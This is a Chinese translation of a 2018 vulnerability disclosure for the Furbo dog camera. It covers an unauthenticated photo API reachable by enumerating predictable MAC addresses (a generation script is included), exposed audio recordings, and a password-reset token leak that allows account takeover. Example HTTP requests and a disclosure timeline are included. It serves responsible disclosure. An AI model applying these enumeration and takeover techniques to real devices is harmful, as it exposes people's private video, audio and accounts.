内容简介:缺乏足够的访问控制和授权,API中使用可预测的设备ID,以及密码重置机制的缺陷,都可能使Furbo所有用户的在即将播出的一集McAfee的
TL;DR
缺乏足够的访问控制和授权,API中使用可预测的设备ID,以及密码重置机制的缺陷,都可能使Furbo所有用户的 视频 、 家庭私密照片 、 语音消息 被攻击者访问,攻击者甚至可以 把食物扔给用户的宠物 。
背景
在即将播出的一集McAfee的 Hackable podcast中,我拿到了一台Furbo(一种狗食投掷装置)用于安全评估。FURBO是一款狗用的拥有相机功能,可以通过你的手机按一下按钮就能把食物扔出去的机器,是在工作或度假时看狗的好方法。
目前,Furbo是亚马逊上最畅销的狗摄像头,售价在250美元到300美元之间。
Furbo曾多次出现在媒体上,比如“纽约时报”、“技术快报”和最近的“ 艾伦脱口秀 ”,他们在节目中向观众赠送Furbo作为圣诞礼物。
艾伦脱口秀上的Furbo: https://youtu.be/nqug-3O8hC4
Furbo的特点
Furbo配备了高清摄像头,夜视功能,双向音频(你可以和你的狗说话,听到它的吠声)AI智能狗识别技术,以及一个应用程序,让你与设备互动。以下是其中一些特点:
Furbo的高级特征:Smart Dog Alerts
Furbo有一个叫做“Smart Dog Alerts
”的高级功能,每当AI发现你的狗有异常活动或希望得到关注时,它会发送通知到你的电话。这个功能在默认情况下是打开的。
一旦发生了一些活动,Furbo将弹出一个带有触发器描述的通知:
这背后发生了什么
Furbo通过蓝牙进行设备的初始设置,并使用 实时流媒体协议(RTSP)-RFC2326 传输视频流。通过RTSPS将视频流发送到不同区域的多个IP地址,每一张由SmartDog Alerts功能拍摄的照片都被上传到Amazon S3中。
Furbo的移动应用程序从他们的云服务下载你的照片,一旦你浏览到主页,它们就会被填充到Furbo日常的“时间线”中,就是当天发生的所有事件。
远程攻击的Furbo
访问你所有的照片
问题在于移动应用程序执行的API调用之一,即在打开App时接收当天的事件。
事件是由设备拍摄的照片/瞬间,这些照片/瞬间后面会被归类为“人”、“狗自拍”和“狗活动”。
时间线由使用值为当前日期的LocalTime参数的POST请求发送。然后,该响应将包含3个不同的键:PersonDetected DogMoveAbove10secs和Selfie,如果日期有效并且照片是当天拍摄的,这些最终将是客户的照片。
这个API在请求中需要一个有效的MAC地址,但是没有会话令牌或任何类似的东西。获得有效的MAC地址并不困难,因为相机是由台湾的一家名为Chicony Electronics的制造商生产的,而且它们的地址是以B0:c0:90为前缀的。
通过生成MAC地址字典,并且考虑到MAC是一个注册设备,响应将包括在localtime参数中指定的当天的Amazon S3的图像链接。
以下代码可用于生成随机MAC地址:
>>> for _ in range(200): print "%s:%02x:%02x:%02x" %('B0:C0:90', random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) ... B0:C0:90:74:c5:d6 B0:C0:90:02:64:85 B0:C0:90:ab:3e:a4 B0:C0:90:00:1c:5f B0:C0:90:bf:fc:e3 B0:C0:90:94:d7:8a B0:C0:90:5c:b3:86 B0:C0:90:b0:57:c7 B0:C0:90:ca:37:b0
攻击请求示例:
POST /endpoint HTTP/1.1 Cache-Control: no-cache Content-Type: application/json User-Agent: FurboApp/3.1.1 (Linux; U; Android 6.0.1; en; samsung/SM-J120W) ROM/0.1.0.0 (samsung; 32011752d4df54a1) Authorization: Basic Content-Length: 942 Host: hostname Connection: close {"LocalTime":"2018-03-08 00:27:17"}
响应示例:
{ "EventTypes": [ { "Count": 70, "Type": "DogMoveAbove10Sec" }, { "Count": 5, "Type": "PersonDetection" }, { "Count": 1, "Type": "Selfie" } ], "Events": [ { "LocalTime": "2018-03-02 23:22:41", "OriginImg": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", "Thumbnail": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", "Type": "DogMoveAbove10Sec" }, { "LocalTime": "2018-03-02 23:20:19", "OriginImg": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", "Thumbnail": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", "Type": "DogMoveAbove10Sec" }, { "LocalTime": "2018-03-02 21:34:10", "OriginImg": "https://redacted.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", "Thumbnail": "https://redacted.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********", "Type": "PersonDetection" }, ] }
虽然默认情况下启用了Smart Dog Alerts,但是应用程序让你通过设置页面自定义要捕获的智能警报。
可以使用这个API调用来获得设备的设置,而不是枚举设备。其中包括设置,如是否启用了“Smart Dog Alerts”功能。这将允许更加快速的攻击,但只针对启用了易受攻击组件的设备。
获取设备设置的API调用示例:
GET /endpoint HTTP/1.1 Host: hostname Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) HTTP/1.1 200 OK Date: Wed, 07 Mar 2018 17:46:29 GMT Content-Type: application/json Content-Length: 76 Connection: close Server: Apache/2.4.18 (Ubuntu) { "DogMoveAbove10Sec": "1", "PersonDetection": "1", "Selfie": "1" }
1表示已启用,0表示已禁用。
收集要攻击的设备
使用目前为止我们所知道的,并且使用这个逻辑,可以保证在多线程的情况下几分钟内获得数百个客户的数据。
最可怕的是
这时候,我开始寻找与谁联系来报告这个问题。
获取你所有的录音
FURBO的旗舰特色:抛投
Furbo的真正价值在于其投掷的特征,这其实是相当巧妙的。
在产品的正中间,有一个小洞和一个机制,一旦你使用应用程序的投掷功能它会从容器重新装载食物然后投掷。我有猫,所以这里有一个视频,看它如何与猫互动的:
视频: https://lethalbit.com/furbo/images/tossing.mp4
但是狗怎么知道你什么时候要扔食物呢?问得好!Snack!
Snack是一种声音,在你滑动投掷食物时播放。让我们来记录一条6秒的消息,或者使用默认的内置声音。
该特性与视频缺陷相同,使用API上传音频,然后提供直接的S3链接。与视频没有什么不同,它只使用基本的auth,这可能导致允许攻击者访问用户的音频文件。
音频: https://lethalbit.com/furbo/images/treat_toss.wav
我没有足够的时间来进一步探讨这个功能,因为我披露后供应商快速反应,取消了服务。但是,上传文件时调用的音频HTTP PUT请求可能也是易受攻击的。
从理论上讲,我可以把我自己的声音文件上传到用户的Furbo。
全天候跟踪你
完全接管帐户
我看了一下如何重新设置帐户密码。
在“密码重置”页上,当你重置帐户的密码时,它会调用发送电子邮件API。然后,响应就是一个令牌。我把它记下来以备后用。
密码重置请求:
POST /send-email HTTP/1.1 Host: host Connection: close Content-Length: 47 Accept: application/json, text/javascript, */*; q=0.01 Origin: hostname X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J120W Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7 {"Email":"someuser@someemail.com","Locale":"en-US"}
密码重置响应:
HTTP/1.1 200 OK Date: Sat, 10 Mar 2018 13:33:58 GMT Content-Type: application/json Content-Length: 69 Connection: close Server: Werkzeug/0.12.2 Python/3.5.2 {"Message":"IkhQTFRaU[redacted]VjIEly2XUWdVMAh8"}
不出所料,我收到了一封电子邮件,里面有一个链接,可以重新设置我的密码。我看到了以下内容:
接着,我点击了链接,突然发现地址栏里有一些看起来很熟悉的东西。
地址栏中的令牌与我之前记下的令牌相同!这意味着我可以重新设置任何Furbo的帐户密码,而不需要访问受害者的电子邮件帐户!
到目前为止,我们只能访问静态照片和音频记录。但这允许我以其他人的身份登录。这使我可以执行以下任何一项操作:
- 观看你的生活
- 听到你说话
- 跟你说话
- 查看你的历史照片数据
- 扔食物给你的宠物
FURBO设备接管DEMO:
https://lethalbit.com/furbo/images/full_account_takeover.mp4联系Furbo
- 2018年3月2日-我寻找联系Furbo的方法。在多个平台上给他们发短信后,他们的客户支持经理联系了我寻求更多细节。随后,Furbo技术小组着手调查该报告。
- 2018年3月2日-我被告知已经推送修复,但显然,它没有解决我报告的问题。
- 2018年3月4日-Furbo打电话给我,要求提供漏洞证明。他们寄给我一个他们的设备的MAC地址,让我告诉他们那里有哪些照片。结果是:
- 2018年3月4日-Furbo公司暂停该功能。API调用已经修复。
- 2018年3月7日-我联系了Furbo,让他们知道Snack呼叫功能中的语音记录漏洞。
- 2018年3月7日-Furbo更新说,他们将暂停Snack Call功能,直到新版本发布。
- 2018年3月9日-发布了一个新的应用程序版本,它修复了视频和语音记录API中的漏洞。
- 2018年3月12日-我联系了Furbo,让他们知道账户的接管情况。他们给了我一个电子邮件账户,我证明了报告的有效性。以下是一张在Furbo总部办公室拍摄的照片:![]
- 2018年3月12日-我们接到电话,证实问题似乎已经解决。此时所有提到的漏洞都得到了解决。
- 2018年3月15日-我联系了Furbo,发现了另一个漏洞
- 2018年3月20日-Furbo通报说,将在下一次固件升级中推出一个补丁。
- 2018年3月20日-奖励:Pet food basket(我谢绝了)。
- 2018年6月16日-公开发行
注意
Furbo团队非常迅速地处理报告和修复缺陷。根据我的建议,他们决定取消服务以防止更多的潜在风险,考虑到目前的情况,这是正确的做法。
联系方式
如有任何问题,请通过电子邮件 d.farhi#lethalbit.com 或 twitter 与我联系
审核人:yiwang 编辑:边边
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- ISPsystem漏洞分析
- ISPsystem漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。